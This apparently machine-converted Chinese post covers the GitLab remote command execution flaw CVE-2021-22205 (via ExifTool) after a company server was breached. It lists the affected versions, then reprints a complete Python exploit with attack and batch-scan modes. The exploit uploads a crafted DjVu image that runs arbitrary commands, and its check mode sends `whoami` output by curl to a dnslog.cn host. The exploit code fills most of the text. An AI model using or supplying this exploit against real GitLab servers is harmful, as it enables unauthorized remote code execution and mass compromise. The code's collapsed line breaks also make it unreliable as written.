一、背景
公司某服务器受到攻打，排查后发现攻破点为CVE-2021-22205 Gitlab 近程命令执行破绽
影响版本
- Gitlab CE/EE < 13.10.3
- Gitlab CE/EE < 13.9.6
- Gitlab CE/EE < 13.8.8
二、原理
次要是gitlab调用了exiftool（一个图像处理软件)，而exitftool存在命令执行破绽（CVE-2021-22205），从而导致gitlab也存在此问题，现复现一下该破绽。三、攻打脚本
执行以下脚本后在服务器复现了该破绽
import requestsfrom bs4 import BeautifulSoupimport base64import randomimport sysimport osimport argparserequests.packages.urllib3.disable_warnings()def title(): print(""" ______ _______ ____ ___ ____ _ ____ ____ ____ ___ ____ / ___\ \ / / ____| |___ \ / _ \___ \/ | |___ \|___ \|___ \ / _ \| ___| | | \ \ / /| _| _____ __) | | | |__) | |_____ __) | __) | __) | | | |___ \ | |___ \ V / | |__|_____/ __/| |_| / __/| |_____/ __/ / __/ / __/| |_| |___) | \____ | \_/ |_____| |_____|\___/_____|_| |_____|_____|_____|\___/|____/ Author:Al1ex@Heptagram Github:https://github.com/Al1ex """) print(''' 验证模式：python CVE-2021-22205.py -v true -t target_url 攻打模式：python CVE-2021-22205.py -a true -t target_url -c command 批量检测：python CVE-2021-22205.py -s true -f file ''') def check(target_url): session = requests.Session() try: req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False) soup = BeautifulSoup(req1.text, features="html.parser") token = soup.findAll('meta')[16].get("content") data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{curl `whoami`.82sm53.dnslog.cn} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n" headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5", "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"} flag = 'Failed to process image' req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False) if flag in req2.text: print("[+] 指标 {} 存在破绽".format(target_url)) else: print("[-] 指标 {} 不存在破绽".format(target_url)) except Exception as e: print(e)def attack(target_url,command): session = requests.Session() try: req1 = session.get(target_url.strip("/") + "/users/sign_in", verify=False) soup = BeautifulSoup(req1.text, features="html.parser") token = soup.findAll('meta')[16].get("content") data = "\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jpg\"\r\nContent-Type: image/jpeg\r\n\r\nAT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x08\x00\x08\x18\x00d\x00\x16\x00INCL\x00\x00\x00\x0fshared_anno.iff\x00BG44\x00\x00\x00\x11\x00J\x01\x02\x00\x08\x00\x08\x8a\xe6\xe1\xb17\xd9*\x89\x00BG44\x00\x00\x00\x04\x01\x0f\xf9\x9fBG44\x00\x00\x00\x02\x02\nFORM\x00\x00\x03\x07DJVIANTa\x00\x00\x01P(metadata\n\t(Copyright \"\\\n\" . qx{"+ command +"} . \\\n\" b \") ) \n\r\n------WebKitFormBoundaryIMv3mxRg59TkFSX5--\r\n\r\n" headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36", "Connection": "close", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryIMv3mxRg59TkFSX5", "X-CSRF-Token": f"{token}", "Accept-Encoding": "gzip, deflate"} flag = 'Failed to process image' req2 = session.post(target_url.strip("/") + "/uploads/user", data=data, headers=headers, verify=False) if flag in req2.text: print("[+] 指标 {} 存在破绽".format(target_url)) print("[+] 请到dnslog或主机查看执行后果") else: print("[-] 指标 {} 不存在破绽".format(target_url)) except Exception as e: print(e)def scan(file): for url_link in open(file, 'r', encoding='utf-8'): if url_link.strip() != '': url_path = format_url(url_link.strip()) check(url_path)def format_url(url): try: if url[:4] != "http": url = "https://" + url url = url.strip() return url except Exception as e: print('URL 谬误 {0}'.format(url)) def main(): parser = argparse.ArgumentParser(description='GitLab < 13.10.3 RCE') parser.add_argument('-v', '--verify', type=bool,help=' 验证模式 ') parser.add_argument('-t', '--target', type=str, help=' 指标URL ') parser.add_argument('-a', '--attack', type=bool, help=' 攻打模式 ') parser.add_argument('-c', '--command', type=str, help=' 执行命令 ') parser.add_argument('-s', '--scan', type=bool, help=' 批量模式 ') parser.add_argument('-f', '--file', type=str, help=' 文件门路 ') args = parser.parse_args() verify_model = args.verify target_url = args.target attack_model = args.attack command = args.command scan_model = args.scan file = args.file if verify_model is True and target_url !=None: check(target_url) elif attack_model is True and target_url != None and command != None: attack(target_url,command) elif scan_model is True and file != None: scan(file) else: sys.exit(0) if __name__ == '__main__': title() main()参考资料
原理：https://devcraft.io/2021/05/0...
POC：https://github.com/Al1ex/CVE-...